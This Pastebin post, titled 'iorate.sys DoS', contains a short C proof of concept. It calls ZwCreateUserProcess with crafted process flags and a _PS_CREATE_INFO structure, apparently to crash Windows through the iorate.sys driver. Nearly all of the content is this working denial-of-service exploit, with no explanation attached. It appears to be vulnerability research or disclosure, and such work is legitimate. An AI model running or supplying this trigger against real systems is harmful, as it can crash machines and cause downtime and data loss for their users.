Advertisement
waliedassar

iorate.sys DoS

May 30th, 2021
1,956
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.25 KB | None | 0 0
  1. struct _PS_CREATE_INFO
  2. {
  3.     ulonglong Size;
  4.     ulonglong State;//at 0x8
  5.     ulong InitFlags;//at 0x10
  6.     ulong AdditionalFileAccess;//at 0x14
  7.     ulonglong X0;
  8.     ulonglong X1;
  9.     ulonglong X2;
  10.     ulonglong X3;
  11.     ulonglong X4;
  12.     ulonglong X5;
  13.     ulonglong X6;
  14.     ulonglong X7;
  15. };
  16.  
  17.  
  18. void IoRateDoS()
  19. {
  20.     //--------- Parameters Start Here ----------
  21.     HANDLE hNewProcess = 0;
  22.     HANDLE hNewThread = 0;
  23.     ulonglong ProcessDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;
  24.     ulonglong ThreadDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;
  25.     _OBJECT_ATTRIBUTES ObjAttr_p = {sizeof(ObjAttr_p)};
  26.     _OBJECT_ATTRIBUTES ObjAttr_t  = {sizeof(ObjAttr_t)};
  27.     ulonglong ProcessFlagsX = 0x1000;
  28.     ulonglong ThreadFlagsX = 0;
  29.     ulonglong ProcessParametersX =  0;
  30.     _PS_CREATE_INFO PsCreateInfo = {sizeof(PsCreateInfo)};
  31.         PsCreateInfo.InitFlags = PsCreateInitialState;
  32.         PsCreateInfo.AdditionalFileAccess = FILE_EXECUTE;
  33.     ulonglong AttributeListX =  0;
  34.     //---------------
  35.     ulonglong ret = ZwCreateUserProcess(&hNewProcess,&hNewThread,
  36.                         ProcessDesiredAccessX,  ThreadDesiredAccessX,
  37.                         &ObjAttr_p, &ObjAttr_t,
  38.                         ProcessFlagsX,  ThreadFlagsX,
  39.                         (void*)ProcessParametersX,
  40.                         &PsCreateInfo,
  41.                         (void*)AttributeListX);
  42.     printf("ZwCreateUserProcess, ret: %I64X\r\n",ret);
  43. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement